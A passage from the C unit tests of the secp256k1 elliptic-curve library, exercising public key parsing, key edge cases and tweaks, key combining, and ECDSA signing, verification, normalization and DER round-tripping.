string. Illegal arg and zeroize output. */ memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, NULL, 65) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 1); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 2); /* 64 bytes claimed on input starting with 0x04, fail, zeroize output, no illegal arg error. */ memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, 64) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); /* 66 bytes claimed, fail, zeroize output, no illegal arg error. */ memset(&pubkey, 0xfe, sizeof(pubkey)); ecount = 0; VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, 66) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 0); CHECK(ecount == 1); /* Valid parse. */ memset(&pubkey, 0, sizeof(pubkey)); ecount = 0; VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, 65) == 1); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(ecount == 0); VG_UNDEF(&ge, sizeof(ge)); CHECK(secp256k1_pubkey_load(ctx, &ge, &pubkey) == 1); VG_CHECK(&ge.x, sizeof(ge.x)); VG_CHECK(&ge.y, sizeof(ge.y)); VG_CHECK(&ge.infinity, sizeof(ge.infinity)); ge_equals_ge(&secp256k1_ge_const_g, &ge); CHECK(ecount == 0); /* secp256k1_ec_pubkey_serialize illegal args. */ ecount = 0; len = 65; CHECK(secp256k1_ec_pubkey_serialize(ctx, NULL, &len, &pubkey, SECP256K1_EC_UNCOMPRESSED) == 0); CHECK(ecount == 1); CHECK(len == 0); CHECK(secp256k1_ec_pubkey_serialize(ctx, sout, NULL, &pubkey, SECP256K1_EC_UNCOMPRESSED) == 0); CHECK(ecount == 2); len = 65; VG_UNDEF(sout, 65); CHECK(secp256k1_ec_pubkey_serialize(ctx, sout, &len, NULL, SECP256K1_EC_UNCOMPRESSED) == 0); VG_CHECK(sout, 65); CHECK(ecount == 3); CHECK(len == 0); len = 65; CHECK(secp256k1_ec_pubkey_serialize(ctx, sout, &len, &pubkey, ~0) == 0); CHECK(ecount == 4); CHECK(len == 0); len = 65; VG_UNDEF(sout, 65); CHECK(secp256k1_ec_pubkey_serialize(ctx, sout, &len, &pubkey, SECP256K1_EC_UNCOMPRESSED) == 1); VG_CHECK(sout, 65); CHECK(ecount == 4); CHECK(len == 65); /* Multiple illegal args. Should still set arg error only once. */ ecount = 0; ecount2 = 11; CHECK(secp256k1_ec_pubkey_parse(ctx, NULL, NULL, 65) == 0); CHECK(ecount == 1); /* Does the illegal arg callback actually change the behavior? */ secp256k1_context_set_illegal_callback(ctx, uncounting_illegal_callback_fn, &ecount2); CHECK(secp256k1_ec_pubkey_parse(ctx, NULL, NULL, 65) == 0); CHECK(ecount == 1); CHECK(ecount2 == 10); secp256k1_context_set_illegal_callback(ctx, NULL, NULL); /* Try a bunch of prefabbed points with all possible encodings. */ for (i = 0; i < SECP256K1_EC_PARSE_TEST_NVALID; i++) { ec_pubkey_parse_pointtest(valid[i], 1, 1); } for (i = 0; i < SECP256K1_EC_PARSE_TEST_NXVALID; i++) { ec_pubkey_parse_pointtest(onlyxvalid[i], 1, 0); } for (i = 0; i < SECP256K1_EC_PARSE_TEST_NINVALID; i++) { ec_pubkey_parse_pointtest(invalid[i], 0, 0); } } void run_eckey_edge_case_test(void) { const unsigned char orderc[32] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x41 }; const unsigned char zeros[sizeof(secp256k1_pubkey)] = {0x00}; unsigned char ctmp[33]; unsigned char ctmp2[33]; secp256k1_pubkey pubkey; secp256k1_pubkey pubkey2; secp256k1_pubkey pubkey_one; secp256k1_pubkey pubkey_negone; const secp256k1_pubkey *pubkeys[3]; size_t len; int32_t ecount; /* Group order is too large, reject. */ CHECK(secp256k1_ec_seckey_verify(ctx, orderc) == 0); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, orderc) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); /* Maximum value is too large, reject. */ memset(ctmp, 255, 32); CHECK(secp256k1_ec_seckey_verify(ctx, ctmp) == 0); memset(&pubkey, 1, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, ctmp) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); /* Zero is too small, reject. */ memset(ctmp, 0, 32); CHECK(secp256k1_ec_seckey_verify(ctx, ctmp) == 0); memset(&pubkey, 1, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, ctmp) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); /* One must be accepted. */ ctmp[31] = 0x01; CHECK(secp256k1_ec_seckey_verify(ctx, ctmp) == 1); memset(&pubkey, 0, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, ctmp) == 1); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) > 0); pubkey_one = pubkey; /* Group order + 1 is too large, reject. */ memcpy(ctmp, orderc, 32); ctmp[31] = 0x42; CHECK(secp256k1_ec_seckey_verify(ctx, ctmp) == 0); memset(&pubkey, 1, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, ctmp) == 0); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); /* -1 must be accepted. */ ctmp[31] = 0x40; CHECK(secp256k1_ec_seckey_verify(ctx, ctmp) == 1); memset(&pubkey, 0, sizeof(pubkey)); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, ctmp) == 1); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) > 0); pubkey_negone = pubkey; /* Tweak of zero leaves the value changed. */ memset(ctmp2, 0, 32); CHECK(secp256k1_ec_privkey_tweak_add(ctx, ctmp, ctmp2) == 1); CHECK(memcmp(orderc, ctmp, 31) == 0 && ctmp[31] == 0x40); memcpy(&pubkey2, &pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, ctmp2) == 1); CHECK(memcmp(&pubkey, &pubkey2, sizeof(pubkey)) == 0); /* Multiply tweak of zero zeroizes the output. */ CHECK(secp256k1_ec_privkey_tweak_mul(ctx, ctmp, ctmp2) == 0); CHECK(memcmp(zeros, ctmp, 32) == 0); CHECK(secp256k1_ec_pubkey_tweak_mul(ctx, &pubkey, ctmp2) == 0); CHECK(memcmp(&pubkey, zeros, sizeof(pubkey)) == 0); memcpy(&pubkey, &pubkey2, sizeof(pubkey)); /* Overflowing key tweak zeroizes. */ memcpy(ctmp, orderc, 32); ctmp[31] = 0x40; CHECK(secp256k1_ec_privkey_tweak_add(ctx, ctmp, orderc) == 0); CHECK(memcmp(zeros, ctmp, 32) == 0); memcpy(ctmp, orderc, 32); ctmp[31] = 0x40; CHECK(secp256k1_ec_privkey_tweak_mul(ctx, ctmp, orderc) == 0); CHECK(memcmp(zeros, ctmp, 32) == 0); memcpy(ctmp, orderc, 32); ctmp[31] = 0x40; CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, orderc) == 0); CHECK(memcmp(&pubkey, zeros, sizeof(pubkey)) == 0); memcpy(&pubkey, &pubkey2, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_tweak_mul(ctx, &pubkey, orderc) == 0); CHECK(memcmp(&pubkey, zeros, sizeof(pubkey)) == 0); memcpy(&pubkey, &pubkey2, sizeof(pubkey)); /* Private key tweaks results in a key of zero. */ ctmp2[31] = 1; CHECK(secp256k1_ec_privkey_tweak_add(ctx, ctmp2, ctmp) == 0); CHECK(memcmp(zeros, ctmp2, 32) == 0); ctmp2[31] = 1; CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, ctmp2) == 0); CHECK(memcmp(&pubkey, zeros, sizeof(pubkey)) == 0); memcpy(&pubkey, &pubkey2, sizeof(pubkey)); /* Tweak computation wraps and results in a key of 1. */ ctmp2[31] = 2; CHECK(secp256k1_ec_privkey_tweak_add(ctx, ctmp2, ctmp) == 1); CHECK(memcmp(ctmp2, zeros, 31) == 0 && ctmp2[31] == 1); ctmp2[31] = 2; CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, ctmp2) == 1); ctmp2[31] = 1; CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey2, ctmp2) == 1); CHECK(memcmp(&pubkey, &pubkey2, sizeof(pubkey)) == 0); /* Tweak mul * 2 = 1+1. */ CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, ctmp2) == 1); ctmp2[31] = 2; CHECK(secp256k1_ec_pubkey_tweak_mul(ctx, &pubkey2, ctmp2) == 1); CHECK(memcmp(&pubkey, &pubkey2, sizeof(pubkey)) == 0); /* Test argument errors. */ ecount = 0; secp256k1_context_set_illegal_callback(ctx, counting_illegal_callback_fn, &ecount); CHECK(ecount == 0); /* Zeroize pubkey on parse error. */ memset(&pubkey, 0, 32); CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, ctmp2) == 0); CHECK(ecount == 1); CHECK(memcmp(&pubkey, zeros, sizeof(pubkey)) == 0); memcpy(&pubkey, &pubkey2, sizeof(pubkey)); memset(&pubkey2, 0, 32); CHECK(secp256k1_ec_pubkey_tweak_mul(ctx, &pubkey2, ctmp2) == 0); CHECK(ecount == 2); CHECK(memcmp(&pubkey2, zeros, sizeof(pubkey2)) == 0); /* Plain argument errors. */ ecount = 0; CHECK(secp256k1_ec_seckey_verify(ctx, ctmp) == 1); CHECK(ecount == 0); CHECK(secp256k1_ec_seckey_verify(ctx, NULL) == 0); CHECK(ecount == 1); ecount = 0; memset(ctmp2, 0, 32); ctmp2[31] = 4; CHECK(secp256k1_ec_pubkey_tweak_add(ctx, NULL, ctmp2) == 0); CHECK(ecount == 1); CHECK(secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, NULL) == 0); CHECK(ecount == 2); ecount = 0; memset(ctmp2, 0, 32); ctmp2[31] = 4; CHECK(secp256k1_ec_pubkey_tweak_mul(ctx, NULL, ctmp2) == 0); CHECK(ecount == 1); CHECK(secp256k1_ec_pubkey_tweak_mul(ctx, &pubkey, NULL) == 0); CHECK(ecount == 2); ecount = 0; memset(ctmp2, 0, 32); CHECK(secp256k1_ec_privkey_tweak_add(ctx, NULL, ctmp2) == 0); CHECK(ecount == 1); CHECK(secp256k1_ec_privkey_tweak_add(ctx, ctmp, NULL) == 0); CHECK(ecount == 2); ecount = 0; memset(ctmp2, 0, 32); ctmp2[31] = 1; CHECK(secp256k1_ec_privkey_tweak_mul(ctx, NULL, ctmp2) == 0); CHECK(ecount == 1); CHECK(secp256k1_ec_privkey_tweak_mul(ctx, ctmp, NULL) == 0); CHECK(ecount == 2); ecount = 0; CHECK(secp256k1_ec_pubkey_create(ctx, NULL, ctmp) == 0); CHECK(ecount == 1); memset(&pubkey, 1, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, NULL) == 0); CHECK(ecount == 2); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); /* secp256k1_ec_pubkey_combine tests. */ ecount = 0; pubkeys[0] = &pubkey_one; VG_UNDEF(&pubkeys[0], sizeof(secp256k1_pubkey *)); VG_UNDEF(&pubkeys[1], sizeof(secp256k1_pubkey *)); VG_UNDEF(&pubkeys[2], sizeof(secp256k1_pubkey *)); memset(&pubkey, 255, sizeof(secp256k1_pubkey)); VG_UNDEF(&pubkey, sizeof(secp256k1_pubkey)); CHECK(secp256k1_ec_pubkey_combine(ctx, &pubkey, pubkeys, 0) == 0); VG_CHECK(&pubkey, sizeof(secp256k1_pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); CHECK(ecount == 1); CHECK(secp256k1_ec_pubkey_combine(ctx, NULL, pubkeys, 1) == 0); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); CHECK(ecount == 2); memset(&pubkey, 255, sizeof(secp256k1_pubkey)); VG_UNDEF(&pubkey, sizeof(secp256k1_pubkey)); CHECK(secp256k1_ec_pubkey_combine(ctx, &pubkey, NULL, 1) == 0); VG_CHECK(&pubkey, sizeof(secp256k1_pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); CHECK(ecount == 3); pubkeys[0] = &pubkey_negone; memset(&pubkey, 255, sizeof(secp256k1_pubkey)); VG_UNDEF(&pubkey, sizeof(secp256k1_pubkey)); CHECK(secp256k1_ec_pubkey_combine(ctx, &pubkey, pubkeys, 1) == 1); VG_CHECK(&pubkey, sizeof(secp256k1_pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) > 0); CHECK(ecount == 3); len = 33; CHECK(secp256k1_ec_pubkey_serialize(ctx, ctmp, &len, &pubkey, SECP256K1_EC_COMPRESSED) == 1); CHECK(secp256k1_ec_pubkey_serialize(ctx, ctmp2, &len, &pubkey_negone, SECP256K1_EC_COMPRESSED) == 1); CHECK(memcmp(ctmp, ctmp2, 33) == 0); /* Result is infinity. */ pubkeys[0] = &pubkey_one; pubkeys[1] = &pubkey_negone; memset(&pubkey, 255, sizeof(secp256k1_pubkey)); VG_UNDEF(&pubkey, sizeof(secp256k1_pubkey)); CHECK(secp256k1_ec_pubkey_combine(ctx, &pubkey, pubkeys, 2) == 0); VG_CHECK(&pubkey, sizeof(secp256k1_pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) == 0); CHECK(ecount == 3); /* Passes through infinity but comes out one. */ pubkeys[2] = &pubkey_one; memset(&pubkey, 255, sizeof(secp256k1_pubkey)); VG_UNDEF(&pubkey, sizeof(secp256k1_pubkey)); CHECK(secp256k1_ec_pubkey_combine(ctx, &pubkey, pubkeys, 3) == 1); VG_CHECK(&pubkey, sizeof(secp256k1_pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) > 0); CHECK(ecount == 3); len = 33; CHECK(secp256k1_ec_pubkey_serialize(ctx, ctmp, &len, &pubkey, SECP256K1_EC_COMPRESSED) == 1); CHECK(secp256k1_ec_pubkey_serialize(ctx, ctmp2, &len, &pubkey_one, SECP256K1_EC_COMPRESSED) == 1); CHECK(memcmp(ctmp, ctmp2, 33) == 0); /* Adds to two. */ pubkeys[1] = &pubkey_one; memset(&pubkey, 255, sizeof(secp256k1_pubkey)); VG_UNDEF(&pubkey, sizeof(secp256k1_pubkey)); CHECK(secp256k1_ec_pubkey_combine(ctx, &pubkey, pubkeys, 2) == 1); VG_CHECK(&pubkey, sizeof(secp256k1_pubkey)); CHECK(memcmp(&pubkey, zeros, sizeof(secp256k1_pubkey)) > 0); CHECK(ecount == 3); secp256k1_context_set_illegal_callback(ctx, NULL, NULL); } void random_sign(secp256k1_scalar *sigr, secp256k1_scalar *sigs, const secp256k1_scalar *key, const secp256k1_scalar *msg, int *recid) { secp256k1_scalar nonce; do { random_scalar_order_test(&nonce); } while(!secp256k1_ecdsa_sig_sign(&ctx->ecmult_gen_ctx, sigr, sigs, key, msg, &nonce, recid)); } void test_ecdsa_sign_verify(void) { secp256k1_gej pubj; secp256k1_ge pub; secp256k1_scalar one; secp256k1_scalar msg, key; secp256k1_scalar sigr, sigs; int recid; int getrec; random_scalar_order_test(&msg); random_scalar_order_test(&key); secp256k1_ecmult_gen(&ctx->ecmult_gen_ctx, &pubj, &key); secp256k1_ge_set_gej(&pub, &pubj); getrec = secp256k1_rand_bits(1); random_sign(&sigr, &sigs, &key, &msg, getrec?&recid:NULL); if (getrec) { CHECK(recid >= 0 && recid < 4); } CHECK(secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sigr, &sigs, &pub, &msg)); secp256k1_scalar_set_int(&one, 1); secp256k1_scalar_add(&msg, &msg, &one); CHECK(!secp256k1_ecdsa_sig_verify(&ctx->ecmult_ctx, &sigr, &sigs, &pub, &msg)); } void run_ecdsa_sign_verify(void) { int i; for (i = 0; i < 10*count; i++) { test_ecdsa_sign_verify(); } } /** Dummy nonce generation function that just uses a precomputed nonce, and fails if it is not accepted. Use only for testing. */ static int precomputed_nonce_function(unsigned char *nonce32, const unsigned char *msg32, const unsigned char *key32, const unsigned char *algo16, void *data, unsigned int counter) { (void)msg32; (void)key32; (void)algo16; memcpy(nonce32, data, 32); return (counter == 0); } static int nonce_function_test_fail(unsigned char *nonce32, const unsigned char *msg32, const unsigned char *key32, const unsigned char *algo16, void *data, unsigned int counter) { /* Dummy nonce generator that has a fatal error on the first counter value. */ if (counter == 0) { return 0; } return nonce_function_rfc6979(nonce32, msg32, key32, algo16, data, counter - 1); } static int nonce_function_test_retry(unsigned char *nonce32, const unsigned char *msg32, const unsigned char *key32, const unsigned char *algo16, void *data, unsigned int counter) { /* Dummy nonce generator that produces unacceptable nonces for the first several counter values. */ if (counter < 3) { memset(nonce32, counter==0 ? 0 : 255, 32); if (counter == 2) { nonce32[31]--; } return 1; } if (counter < 5) { static const unsigned char order[] = { 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE, 0xBA,0xAE,0xDC,0xE6,0xAF,0x48,0xA0,0x3B, 0xBF,0xD2,0x5E,0x8C,0xD0,0x36,0x41,0x41 }; memcpy(nonce32, order, 32); if (counter == 4) { nonce32[31]++; } return 1; } /* Retry rate of 6979 is negligible esp. as we only call this in deterministic tests. */ /* If someone does fine a case where it retries for secp256k1, we'd like to know. */ if (counter > 5) { return 0; } return nonce_function_rfc6979(nonce32, msg32, key32, algo16, data, counter - 5); } int is_empty_signature(const secp256k1_ecdsa_signature *sig) { static const unsigned char res[sizeof(secp256k1_ecdsa_signature)] = {0}; return memcmp(sig, res, sizeof(secp256k1_ecdsa_signature)) == 0; } void test_ecdsa_end_to_end(void) { unsigned char extra[32] = {0x00}; unsigned char privkey[32]; unsigned char message[32]; unsigned char privkey2[32]; secp256k1_ecdsa_signature signature[6]; secp256k1_scalar r, s; unsigned char sig[74]; size_t siglen = 74; unsigned char pubkeyc[65]; size_t pubkeyclen = 65; secp256k1_pubkey pubkey; secp256k1_pubkey pubkey_tmp; unsigned char seckey[300]; size_t seckeylen = 300; /* Generate a random key and message. */ { secp256k1_scalar msg, key; random_scalar_order_test(&msg); random_scalar_order_test(&key); secp256k1_scalar_get_b32(privkey, &key); secp256k1_scalar_get_b32(message, &msg); } /* Construct and verify corresponding public key. */ CHECK(secp256k1_ec_seckey_verify(ctx, privkey) == 1); CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey, privkey) == 1); /* Verify exporting and importing public key. */ CHECK(secp256k1_ec_pubkey_serialize(ctx, pubkeyc, &pubkeyclen, &pubkey, secp256k1_rand_bits(1) == 1 ? SECP256K1_EC_COMPRESSED : SECP256K1_EC_UNCOMPRESSED)); memset(&pubkey, 0, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_parse(ctx, &pubkey, pubkeyc, pubkeyclen) == 1); /* Verify negation changes the key and changes it back */ memcpy(&pubkey_tmp, &pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_negate(ctx, &pubkey_tmp) == 1); CHECK(memcmp(&pubkey_tmp, &pubkey, sizeof(pubkey)) != 0); CHECK(secp256k1_ec_pubkey_negate(ctx, &pubkey_tmp) == 1); CHECK(memcmp(&pubkey_tmp, &pubkey, sizeof(pubkey)) == 0); /* Verify private key import and export. */ CHECK(ec_privkey_export_der(ctx, seckey, &seckeylen, privkey, secp256k1_rand_bits(1) == 1)); CHECK(ec_privkey_import_der(ctx, privkey2, seckey, seckeylen) == 1); CHECK(memcmp(privkey, privkey2, 32) == 0); /* Optionally tweak the keys using addition. */ if (secp256k1_rand_int(3) == 0) { int ret1; int ret2; unsigned char rnd[32]; secp256k1_pubkey pubkey2; secp256k1_rand256_test(rnd); ret1 = secp256k1_ec_privkey_tweak_add(ctx, privkey, rnd); ret2 = secp256k1_ec_pubkey_tweak_add(ctx, &pubkey, rnd); CHECK(ret1 == ret2); if (ret1 == 0) { return; } CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey2, privkey) == 1); CHECK(memcmp(&pubkey, &pubkey2, sizeof(pubkey)) == 0); } /* Optionally tweak the keys using multiplication. */ if (secp256k1_rand_int(3) == 0) { int ret1; int ret2; unsigned char rnd[32]; secp256k1_pubkey pubkey2; secp256k1_rand256_test(rnd); ret1 = secp256k1_ec_privkey_tweak_mul(ctx, privkey, rnd); ret2 = secp256k1_ec_pubkey_tweak_mul(ctx, &pubkey, rnd); CHECK(ret1 == ret2); if (ret1 == 0) { return; } CHECK(secp256k1_ec_pubkey_create(ctx, &pubkey2, privkey) == 1); CHECK(memcmp(&pubkey, &pubkey2, sizeof(pubkey)) == 0); } /* Sign. */ CHECK(secp256k1_ecdsa_sign(ctx, &signature[0], message, privkey, NULL, NULL) == 1); CHECK(secp256k1_ecdsa_sign(ctx, &signature[4], message, privkey, NULL, NULL) == 1); CHECK(secp256k1_ecdsa_sign(ctx, &signature[1], message, privkey, NULL, extra) == 1); extra[31] = 1; CHECK(secp256k1_ecdsa_sign(ctx, &signature[2], message, privkey, NULL, extra) == 1); extra[31] = 0; extra[0] = 1; CHECK(secp256k1_ecdsa_sign(ctx, &signature[3], message, privkey, NULL, extra) == 1); CHECK(memcmp(&signature[0], &signature[4], sizeof(signature[0])) == 0); CHECK(memcmp(&signature[0], &signature[1], sizeof(signature[0])) != 0); CHECK(memcmp(&signature[0], &signature[2], sizeof(signature[0])) != 0); CHECK(memcmp(&signature[0], &signature[3], sizeof(signature[0])) != 0); CHECK(memcmp(&signature[1], &signature[2], sizeof(signature[0])) != 0); CHECK(memcmp(&signature[1], &signature[3], sizeof(signature[0])) != 0); CHECK(memcmp(&signature[2], &signature[3], sizeof(signature[0])) != 0); /* Verify. */ CHECK(secp256k1_ecdsa_verify(ctx, &signature[0], message, &pubkey) == 1); CHECK(secp256k1_ecdsa_verify(ctx, &signature[1], message, &pubkey) == 1); CHECK(secp256k1_ecdsa_verify(ctx, &signature[2], message, &pubkey) == 1); CHECK(secp256k1_ecdsa_verify(ctx, &signature[3], message, &pubkey) == 1); /* Test lower-S form, malleate, verify and fail, test again, malleate again */ CHECK(!secp256k1_ecdsa_signature_normalize(ctx, NULL, &signature[0])); secp256k1_ecdsa_signature_load(ctx, &r, &s, &signature[0]); secp256k1_scalar_negate(&s, &s); secp256k1_ecdsa_signature_save(&signature[5], &r, &s); CHECK(secp256k1_ecdsa_verify(ctx, &signature[5], message, &pubkey) == 0); CHECK(secp256k1_ecdsa_signature_normalize(ctx, NULL, &signature[5])); CHECK(secp256k1_ecdsa_signature_normalize(ctx, &signature[5], &signature[5])); CHECK(!secp256k1_ecdsa_signature_normalize(ctx, NULL, &signature[5])); CHECK(!secp256k1_ecdsa_signature_normalize(ctx, &signature[5], &signature[5])); CHECK(secp256k1_ecdsa_verify(ctx, &signature[5], message, &pubkey) == 1); secp256k1_scalar_negate(&s, &s); secp256k1_ecdsa_signature_save(&signature[5], &r, &s); CHECK(!secp256k1_ecdsa_signature_normalize(ctx, NULL, &signature[5])); CHECK(secp256k1_ecdsa_verify(ctx, &signature[5], message, &pubkey) == 1); CHECK(memcmp(&signature[5], &signature[0], 64) == 0); /* Serialize/parse DER and verify again */ CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, sig, &siglen, &signature[0]) == 1); memset(&signature[0], 0, sizeof(signature[0])); CHECK(secp256k1_ecdsa_signature_parse_der(ctx, &signature[0], sig, siglen) == 1); CHECK(secp256k1_ecdsa_verify(ctx, &signature[0], message, &pubkey) == 1); /* Serialize/destroy/parse DER and verify again. */ siglen = 74; CHECK(secp256k1_ecdsa_signature_serialize_der(ctx, sig, &siglen, &signature[0]) == 1); sig[secp256k1_rand_int(siglen)] += 1 + secp256k1_rand_int(255); CHECK(secp256k1_ecdsa_signature_parse_der(ctx, &signature[0], sig, siglen) == 0 || secp256k1_ecdsa_verify(ctx, &signature[0], message, &pubkey) == 0); } void test_random_pubkeys(void) { secp256k1_ge elem; secp256k1_ge elem2; unsigned char in[65]; /* Generate some randomly sized pubkeys. */ size_t len = secp256k1_rand_bits(2) == 0 ? 65 : 33; if (secp256k1_rand_bits(2) == 0) { len = secp256k1_rand_bits(6); } if (len == 65) { in[0] = secp256k1_rand_bits(1) ? 4 : (secp256k1_rand_bits(1) ? 6 : 7); } else { in[0] = secp256k1_rand_bits(1) ? 2 : 3; } if (secp256k1_rand_bits(3) == 0) { in[0] = secp256k1_rand_bits(8); } if (len > 1) { secp256k1_rand256(&in[1]); } if (len > 33) { secp256k1_rand256(&in[33]); } if (secp256k1_eckey_pubkey_parse(&elem, in, len)) { unsigned char out[65]; unsigned char firstb; int res; size_t size = len; firstb = in[0]; /* If the pubkey can be parsed, it should round-trip... */ CHECK(secp256k1_eckey_pubkey_serialize(&elem, out, &size, len == 33)); CHECK(size == len); CHECK(memcmp(&in[1], &out[1], len-1) == 0); /* ... except for the type of hybrid inputs. */ if ((in[0] != 6) && (in[0] != 7)) { CHECK(in[0] == out[0]); } size = 65; CHECK(secp256k1_eckey_pubkey_serialize(&elem, in, &size, 0)); CHECK(size == 65); CHECK(secp256k1_eckey_pubkey_parse(&elem2, in, size)); ge_equals_ge(&elem,&elem2); /* Check that the X9.62 hybrid type is checked. */ in[0] = secp256k1_rand_bits(1) ? 6 : 7; res = secp256k1_eckey_pubkey_parse(&elem2, in, size); if (firstb == 2 || firstb == 3) { if (in[0] == firstb + 4) { CHECK(res); } else { CHECK(!res); } } if (res) { ge_equals_ge(&elem,&elem2); CHECK(secp256k1_eckey_pubkey_serialize(&elem, out, &size, 0)); CHECK(memcmp(&in[1], &out[1], 64) == 0); } } } void run_random_pubkeys(void) { int i; for (i = 0; i < 10*count; i++) { test_random_pubkeys(); } } void run_ecdsa_end_to_end(void) { int i; for (i = 0; i < 64*count; i++) { test_ecdsa_end_to_end(); } } int test_ecdsa_der_parse(const unsigned char *sig, size_t siglen, int certainly_der, int certainly_not_der) { static const unsigned char zeroes[32] = {0}; #ifdef ENABLE_OPENSSL_TESTS static const unsigned char max_scalar[32] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x40 }; #endif int ret = 0; secp256k1_ecdsa_signature sig_der; unsigned char roundtrip_der[2048]; unsigned char compact_der[64]; size_t len_der = 2048; int parsed_der = 0, valid_der = 0, roundtrips_der = 0; secp256k1_ecdsa_signature sig_der_lax; unsigned char roundtrip_der_lax[2048]; unsigned char compact_der_lax[64]; size_t len_der_lax = 2048; int parsed_der_lax = 0, valid_der_lax = 0, roundtrips_der_lax = 0; #ifdef ENABLE_OPENSSL_TESTS ECDSA_SIG *sig_openssl; const unsigned char *sigptr; unsigned char roundtrip_openssl[2048]; int len_openssl = 2048; int parsed_openssl, valid_openssl = 0, roundtrips_openssl = 0; #endif parsed_der = secp256k1_ecdsa_signature_parse_der(ctx, &sig_der, sig, siglen); if (parsed_der) { ret |= (!secp256k1_ecdsa_signature_serialize_compact(ctx, compact_der, &sig_der)) << 0; valid_der = (memcmp(compact_der, zeroes, 32) != 0) && (memcmp(compact_der + 32, zeroes, 32) != 0); } if (valid_der) { ret |= (!secp256k1_ecdsa_signature_serialize_der(ctx, roundtrip_der, &len_der, &sig_der)) << 1; roundtrips_der = (len_der == siglen) && memcmp(roundtrip_der, sig, siglen) == 0; } parsed_der_lax = ecdsa_signature_parse_der_lax(ctx, &sig_der_lax, sig, siglen); if (parsed_der_lax) { ret |= (!secp256k1_ecdsa_signature_serialize_compact(ctx, compact_der_lax, &sig_der_lax)) << 10; valid_der_lax = (memcmp(compact_der_lax, zeroes, 32) != 0) && (memcmp(compact_der_lax + 32, zeroes, 32) != 0); } if (valid_der_lax) { ret |= (!secp256k1_ecdsa_signature_serialize_der(ctx, roundtrip_der_lax, &len_der_lax, &sig_der_lax)) << 11; 